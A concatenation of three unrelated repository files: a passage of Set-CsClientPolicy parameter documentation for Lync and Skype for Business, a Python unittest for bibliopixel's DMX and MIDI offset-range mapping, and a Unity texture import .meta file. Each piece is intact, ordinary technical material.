Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableHotdesking
When set to True, enables users to log on to a phone running Skype for Business Phone Edition in a shared workspace by using their Skype for Business Server account.
(Among other things, this provides the user access to his or her contacts.) When set to False, users are not allowed to log on to a phone in a shared workspace by using their own credentials.
Note that this setting applies only to common area (shared workspace) accounts and not to user accounts.
When set to True and applied to a common area account for a phone in a shared workspace, any user will be able to log on to that phone by using his or her credentials.
When set to False, no one will be allowed to log on to that phone.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableIMAutoArchiving
When set to True, a transcript of every instant message session that a user takes part in will be saved to the Conversation History folder in Outlook.
When set to False, these transcripts will not be saved automatically.
(However, users will have the option to manually save instant message transcripts.)
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableSQMData
When EnableSQMData is set to True, the user will not automatically be enrolled in the Customer Experience Improvement Program.
However, Skype for Business will provide the user with the option to join the program.
When set to False, the user will not be enrolled in the Customer Experience Improvement Program.
In addition, Skype for Business will not give users the option of joining the program.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableTracing
When set to True, software tracing will be enabled in Skype for Business; when set to False software tracing will be disabled.
Software tracing involves keeping an extremely detailed record of everything that a program does (including tracking API calls).
As such tracing is mostly useful to developers and to application support personnel.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableUnencryptedFileTransfer
When set to True, users will be allowed to exchange files with external users whose instant messaging software does not support encrypted file transfers.
When set to False, users will only be able to exchange files with external users who have software that supports encrypted file transfers.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableVOIPCallDefault
When set to True, a Skype for Business call will be placed any time a user employs the click-to-call feature.
This policy setting only affects the initial state of the click-to-call feature.
If the user modifies the value of the click-to-call setting then the user-selected value will override this policy setting.
After a user has modified the click-to-call setting that setting will remain in use and will not be affected by the EnableVOIPCallDefault policy.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ExcludedContactFolders
Indicates which Outlook contact folders (if any) should not be searched any time Skype for Business searches for new contacts.
Multiple folders can be specified by separating the folder names using semicolons; for example: `-ExcludedContactFolders "SenderPhotoContacts;OtherContacts"`.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -HotdeskingTimeout
Timeout interval for a user logged on to a "hot-desk" phone.
(A hot-desk phone is a phone running Skype for Business Phone Edition that is located in a shared workspace and that users can log on to using their Skype for Business Server account.) The hot-desk timeout specifies the number of minutes that can elapse before a user is automatically logged off of a hot-desk phone.
When specifying a hot desking timeout you must use the format hours:minutes:seconds.
For example, this syntax sets the hot desking timeout interval to 45 minutes:
`-HotdeskingTimeout 00:45:00`
Note that this policy setting applies only to common area phones and not to users.
The default value is 5 minutes (00:05:00), and the minimum value is 30 seconds (00:00:30).
```yaml
Type: TimeSpan
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -IMWarning
When configured, the specified message appears in the Conversation window each time a user takes part in an instant messaging session.
For example, if IMWarning is set to "All information is the property of Litwareinc" then that message will appear in the Conversation window each time a user takes part in an instant messaging session.
Your warning message should be limited to 256 characters, and can only contain plain text.
You cannot use any formatting (such as boldface or italics) and you cannot clickable URLs within the text.
If set to a null value ($Null) then no message appears in the Conversation window.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -MAPIPollInterval
> [!IMPORTANT]
> This parameter has been deprecated for use with Skype for Business Server.
For users of Microsoft Exchange Server 2003, MAPIPollInterval specifies how often Skype for Business retrieves calendar data from the Exchange public folders.
MAPIPollInterval can be set to any value between 1 second and 1 hour; inclusive.
To configure the MAPI poll interval, use the format hours:minutes:seconds.
For example, this command sets the MAPI poll interval to 45 minutes:
`-MapiPollInterval 00:45:00`
```yaml
Type: TimeSpan
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -MaximumDGsAllowedInContactList
Indicates the maximum number of distribution groups that a user can configure as a contact.
MaximumDGsAllowedInContactList can be set to any integer value between 0 and 64, inclusive.
The default value is 10.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -MaximumNumberOfContacts
Indicates the maximum number of contacts a user is allowed to have.
The maximum contacts can be set to any integer value between 0 and 1000, inclusive.
When set to 0, that prevents the user from having any contacts.
```yaml
Type: UInt16
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -MusicOnHoldAudioFile
Path to the audio file to be played when a caller is placed on hold.
If a value is configured for this property then music on hold will be enabled and users will not be allowed to disable the feature.
If no value is configured for this property then users can specify their own music on hold file, assuming that EnableClientMusicOnHold is set to True.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -P2PAppSharingEncryption
Indicates whether or not desktop and application sharing data exchanged during a peer-to-peer conversation is encrypted.
Allowed values are:
Supported.
Desktop and application sharing data will be encrypted, if possible.
Enforced.
Desktop and application sharing data must be encrypted.
If the data cannot be encrypted then desktop and application sharing will not be enabled for the conversation.
NotSupported.
Desktop and application sharing data will not be encrypted.
```yaml
Type: P2PAppSharingEncryption
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -PlayAbbreviatedDialTone
When set to True, a 3-second dial tone will be played any time a Skype for Business-compatible handset is taken off the hook.
(A Skype for Business-compatible handset looks like a standard telephone, but plugs into a USB port on your computer and is used to make Skype for Business calls rather than "regular" phone calls.) When set to False, a 30-second dial tone is played any time a Skype for Business-compatible handset is taken off the hook.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -PolicyEntry
Provides a way to add settings not covered by the default parameters.
For example, when testing pre-release versions Microsoft Lync Server 2010 it was possible to add a Send Feedback option to Microsoft Lync 2010.
That was done by using code similar to this:
`$x = New-CsClientPolicyEntry -Name "OnlineFeedbackURL" -Value "https://www.litwareinc.com/feedback"`
`Set-CsClientPolicy -Identity global -PolicyEntry @{Add=$x}`
For more details and examples, see the `New-CsClientPolicyEntry` cmdlet help topic.
```yaml
Type: PSListModifier
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchPrefixFlags
Represents the Address Book attributes that should be used any time a user searches for a new contact.
The search prefix flags are constructed as a binary number such as 11101111, in which a 1 indicates that the attribute should be searched and a 0 indicates that the attribute should not be searched.
The attributes in the binary value are (from right to left):
Primary email address
Email alias
All email addresses
Company
Display name
First name
Last name
The binary value 1110111 means that all attributes should be searched except attribute 4: Company.
To search only display name, first name, and last name you would construct this value:
1110000
After the binary value has been constructed it must then be converted to a decimal value before being assigned to SearchPrefixFlags.
To convert a binary number to a decimal number you can use the following Windows PowerShell command:
`\[Convert\]::ToInt32("1110111", 2)`
```yaml
Type: UInt16
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ShowManagePrivacyRelationships
When set to True, shows the Relationships option in the Lync Contacts list window.
When set to False, hides the Relationships option.
Note that this setting applies only to Lync 2010.
Skype for Business will not show these relationships even if ShowManagePrivacyRelationships has been set to True.
The default value is False.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ShowRecentContacts
This parameter has no effect on the client.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ShowSharepointPhotoEditLink
If set to True, Skype for Business will include a link that enables users to edit the personal photo stored on SharePoint.
The default value is False, which means that Skype for Business will not include a link to SharePoint.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SPSearchCenterExternalURL
External URL for the SharePoint site used for keyword searches (also known as expert searches).
This URL will appear at the bottom of any keyword search results that appear in Skype for Business.
If the user clicks this URL, his or her web browser will open up to the SharePoint site, giving the user the opportunity to conduct searches using SharePoint's search capabilities.
(SharePoint offers more search options than Skype for Business does.)
SPSearchCenterExternalURL represents the URL for external users; that is, for users logging on from outside the organization's firewall.
The parameter SPSearchCenterInternalURL is for users who log on from inside the firewall.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SPSearchCenterInternalURL
Internal URL for the SharePoint site used for keyword searches (also known as expert searches).
This URL will appear at the bottom of any keyword search results that appear in Skype for Business.
If the user clicks this URL, his or her web browser will open up to the SharePoint site, giving the user the opportunity to conduct searches using SharePoint's search capabilities.
(SharePoint offers more search options than Skype for Business does.)
SPSearchCenterInternalURL represents the URL for internal users; that is, for users logging on from inside the organization's firewall.
The parameter SPSearchCenterExternalURL is for users who log on from outside the firewall.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SPSearchExternalURL
External URL for the SharePoint site used for keyword searches (also known as expert searches).
Skype for Business will use the SharePoint site located at this URL any time an external user (that is, a user who has accessed the system from outside the organization's firewall) conducts a keyword search.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SPSearchInternalURL
Internal URL for the SharePoint site used for keyword searches (also known as expert searches).
Skype for Business will use the SharePoint site located at this URL any time an internal user (that is, a user who has logged on from inside the organization's firewall) conducts a keyword search.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -TabURL
Specifies the location of the XML file used to create custom tabs located at the bottom of the Skype for Business Contacts list window.
This parameter has been deprecated for use with Skype for Business Server.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -WebServicePollInterval
For users of Microsoft Exchange Server 2007 and later versions of the product, WebServicePollInterval specifies how often Skype for Business retrieves calendar data from Microsoft Exchange Server Web Services.
WebServicePollInterval can be set to any value between 1 second and 1 hour; inclusive.
To configure the Web Service poll interval, use the format hours:minutes:seconds.
For example, this command sets the Web Service poll interval to 45 minutes:
`-WebServicePollInterval 00:45:00`
Note that this setting does not apply to users whose email account is on Exchange 2003.
For those users, calendar retrieval is managed using MAPIPollInterval.
```yaml
Type: TimeSpan
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Force
Suppresses the display of any non-fatal error message that might arise when running the command.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -WhatIf
Describes what would happen if you executed the command without actually executing the command.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: wi
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Confirm
Prompts you for confirmation before executing the command.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: cf
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -DisableMeetingSubjectAndLocation
When set to False, detailed information about a meeting -- namely, the meeting subject and the location where the meeting is being held -- will be displayed as a tooltip when you view free/busy information in a contact card.
When set to True, this detailed information will not be displayed.
To completely prevent the display of meeting-related information you should also set DisableCalendarPresence to True.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableNotificationForNewSubscribers
When set to True you will receive notification any time you are added to someone else's Contacts list.
In addition, the notification dialog box will provide options for you to add that person to your Contacts list, or to block them from viewing your presence information.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableURL
When set to True, hyperlinks embedded in an instant message will be "clickable;" that is, users can click that link and their web browser will open to the specified location.
When set to False, hyperlinks appear in instant messages as plain text.
To navigate to the location, users will need to copy the link text and paste it into their web browser.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -MaxPhotoSizeKB
Indicates the maximum size (in kilobytes) for photos displayed in Skype for Business.
The default value is 30 kilobytes.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableMediaRedirection
When set to True ($True) allows audio and video streams to be separated from other network traffic; in turn, this allows client devices to do encoding and decoding of audio and video locally.
Media redirection typically results in lower bandwidth usage, higher server scalability and a more-optimal user experience compared to similar techniques such as device remoting or codec compression.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -HelpEnvironment
When set to "Office 365", the Office 365 client help documentation for Skype for Business will be shown to users rather than the on-premises help shown by default.
You can either set HelpEnvironment to "Office 365" or to a null value ($Null).
If set to a null value (the default value) then the on-premises help will be shown to users.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -TracingLevel
Enables Administrators to manage event tracing and logging in Skype for Business.
Allowed values are:
Off - Tracing is disabled and the user cannot change this setting.
Light - Minimal tracing is performed, and the user cannot change this setting.
Full - Verbose tracing is performed, and the user cannot change this setting.
By default TracingLevel is set to Light.
```yaml
Type: TracingLevel
Parameter Sets: (All)
Aliases:
Applicable: Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableClientAutoPopulateWithTeam
When set to true, allows a user's Skype client to be autopopulated with members of his or her immediate team.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableExchangeContactsFolder
When set to false, this allows admins to hide Skype for Business contacts from showing up in users' Outlook and Outlook on the Web clients.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableHighPerformanceConferencingAppSharing
When set to True, enables better performance in applications (such as CAD/CAM applications) that have a high screen refresh rate.
However, this improved performance will reduce the system resources and network bandwidth available to other applications.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableHighPerformanceP2PAppSharing
When set to True, allows a peer-to-peer application sharing session to exceed the maximum frame rate of 2.5 frames per second.
The default value is False.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableMeetingEngagement
This parameter is reserved for internal Microsoft use.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableOnlineFeedback
When set to true, allows users to provide feedback through the "help->report a problem" menu options in the client.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableOnlineFeedbackScreenshots
When set to true, allows users to provide screenshots of their clients when reporting problems.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableServerConversationHistory
When set to True ($True), allows conversation histories, missed call notifications, and missed IM notifications to be stored on the server instead of in client mailboxes.
This makes it easier for users to retrieve that information from a mobile device.
The default value is False ($False).
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableSkypeUI
When set to True ($True), this parameter allows administrators to enable the Skype for Business user interface instead of the Lync interface for the Skype for Business client.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableViewBasedSubscriptionMode
This parameter is reserved for internal Microsoft use.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -IMLatencyErrorThreshold
If IM latency is greater than the threshold value (in milliseconds), the client will submit a CER.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -IMLatencySpinnerDelay
Amount of time, in milliseconds, to wait before showing the spinner in the client when IM message delivery is delayed.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -PublicationBatchDelay
This parameter is reserved for internal Microsoft use.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -RateMyCallAllowCustomUserFeedback
When set to True ($True), enables a text box for users to type feedback when prompted.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -RateMyCallDisplayPercentage
The RateMyCallDisplayPercentage setting adjusts how often users are prompted for feedback, ranging from 0 to 100.
The default value is 10, meaning that users will get prompted for feedback 10% of the time after they finish a call.
Setting this to 0 means users will never get prompted.
When set to 100, users will get prompted after every call.
```yaml
Type: UInt16
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -RequireContentPin
This parameter is reserved for internal Microsoft use.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SupportModernFilePicker
This parameter is reserved for internal Microsoft use.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -TelemetryTier
This parameter is reserved for internal Microsoft use.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tenant
Globally unique identifier (GUID) of the Skype for Business Online tenant account for whom the client policy is being modified.
For example:
`-Tenant "38aad667-af54-4397-aaa7-e94c79ec2308"`
You can return the tenant ID for each of your Skype for Business Online tenants by running this command:
`Get-CsTenant | Select-Object DisplayName, TenantID`
```yaml
Type: Guid
Parameter Sets: (All)
Aliases:
Applicable: Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### CommonParameters
This cmdlet supports the common parameters: -Debug, -ErrorAction, -ErrorVariable, -InformationAction, -InformationVariable, -OutVariable, -OutBuffer, -PipelineVariable, -Verbose, -WarningAction, and -WarningVariable. For more information, see about_CommonParameters (https://go.microsoft.com/fwlink/?LinkID=113216).
## INPUTS
###
Microsoft.Rtc.Management.WritableConfig.Policy.Client.ClientPolicy object.
The `Set-CsClientPolicy` cmdlet accepts pipelined instances of the client policy object.
## OUTPUTS
###
The `Set-CsClientPolicy` cmdlet does not return a value or object.
Instead, the cmdlet configures instances of the Microsoft.Rtc.Management.WritableConfig.Policy.Client.ClientPolicy object.
## NOTES
## RELATED LINKS
[Get-CsClientPolicy](Get-CsClientPolicy.md)
[Grant-CsClientPolicy](Grant-CsClientPolicy.md)
[New-CsClientPolicy](New-CsClientPolicy.md)
[Remove-CsClientPolicy](Remove-CsClientPolicy.md)
| {
"pile_set_name": "Github"
} |
import unittest
from bibliopixel.util import offset_range
class OffsetRangeTest(unittest.TestCase):
def test_empty(self):
dmx = offset_range.DMXChannel.make()
self.assertEqual(dmx.index(0), None)
self.assertEqual(dmx.index(1), 0)
self.assertEqual(dmx.index(2), 1)
self.assertEqual(dmx.index(511), 510)
self.assertEqual(dmx.index(512), 511)
self.assertEqual(dmx.index(513), None)
l256 = list(range(256))
r = list(dmx.read_from(l256))
self.assertEqual(r, l256 + ([0] * 256))
target = [23] * 128
dmx.copy_to(l256, target)
self.assertEqual(target, list(range(128)))
def test_empty_copy(self):
dmx = offset_range.DMXChannel.make()
l256 = list(range(256))
r = list(dmx.read_from(l256))
self.assertEqual(r, l256 + ([0] * 256))
target = []
dmx.copy_to(l256, target)
self.assertEqual(target, [])
def test_positive_offset(self):
midi = offset_range.MidiChannel(offset=4)
self.assertEqual(midi.index(0), None)
self.assertEqual(midi.index(1), None)
self.assertEqual(midi.index(4), None)
self.assertEqual(midi.index(5), 0)
self.assertEqual(midi.index(6), 1)
self.assertEqual(midi.index(15), 10)
self.assertEqual(midi.index(16), 11)
self.assertEqual(midi.index(16), 11)
self.assertEqual(midi.index(17), None)
expected = [-1, -1, -1, -1] + list(range(12))
actual = list(midi.read_from(range(16), pad=-1))
self.assertEqual(expected, actual)
target = [100] * 100
midi.copy_to(list(range(16)), target)
expected = list(range(4, 16)) + [100] * 88
self.assertEqual(target, expected)
def test_negative_offset(self):
midi = offset_range.MidiChannel(-4)
self.assertEqual(midi.index(0), None)
self.assertEqual(midi.index(1), 4)
self.assertEqual(midi.index(2), 5)
self.assertEqual(midi.index(12), 15)
self.assertEqual(midi.index(13), None)
actual = list(midi.read_from(range(16), pad=-1))
expected = list(range(4, 16)) + [-1, -1, -1, -1]
self.assertEqual(expected, actual)
target = [100] * 8
midi.copy_to(list(range(16)), target)
expected = [4, 5, 6, 7, 8, 9, 10, 11]
self.assertEqual(target, expected)
def test_begin_end_offset(self):
midi = offset_range.MidiChannel(offset=-5, begin=6, end=8)
self.assertEqual(midi.index(0), None)
self.assertEqual(midi.index(4), None)
self.assertEqual(midi.index(5), None)
self.assertEqual(midi.index(6), 10)
self.assertEqual(midi.index(7), 11)
self.assertEqual(midi.index(8), 12)
self.assertEqual(midi.index(9), None)
self.assertEqual(midi.index(10), None)
actual = list(midi.read_from(range(16)))
expected = [0, 0, 0, 0, 0, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0]
self.assertEqual(expected, actual)
target = [100] * 24
midi.copy_to(list(range(7)), target)
expected = 5 * [100] + [5, 6] + 17 * [100]
self.assertEqual(target, expected)
target = [100] * 24
midi.copy_to(list(range(8)), target)
expected = 5 * [100] + [5, 6, 7] + 16 * [100]
self.assertEqual(target, expected)
target = [100] * 24
midi.copy_to(list(range(9)), target)
expected = 5 * [100] + [5, 6, 7] + 16 * [100]
self.assertEqual(target, expected)
def test_errors(self):
with self.assertRaises(ValueError):
offset_range.MidiChannel(begin=0)
offset_range.MidiChannel(begin=1)
offset_range.MidiChannel(begin=16)
with self.assertRaises(ValueError):
offset_range.MidiChannel(begin=17)
with self.assertRaises(ValueError):
offset_range.MidiChannel(end=0)
offset_range.MidiChannel(end=1)
offset_range.MidiChannel(end=16)
with self.assertRaises(ValueError):
offset_range.MidiChannel(end=17)
with self.assertRaises(ValueError):
offset_range.MidiChannel(begin=2, end=1)
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: ae59d2123d717e74a9de2ff0fb20cf8f
timeCreated: 1470785667
licenseType: Free
TextureImporter:
fileIDToRecycleName: {}
serializedVersion: 2
mipmaps:
mipMapMode: 0
enableMipMap: 1
linearTexture: 0
correctGamma: 0
fadeOut: 0
borderMipMap: 0
mipMapFadeDistanceStart: 1
mipMapFadeDistanceEnd: 3
bumpmap:
convertToNormalMap: 0
externalNormalMap: 0
heightScale: 0.25
normalMapFilter: 0
isReadable: 0
grayScaleToAlpha: 0
generateCubemap: 0
cubemapConvolution: 0
cubemapConvolutionSteps: 7
cubemapConvolutionExponent: 1.5
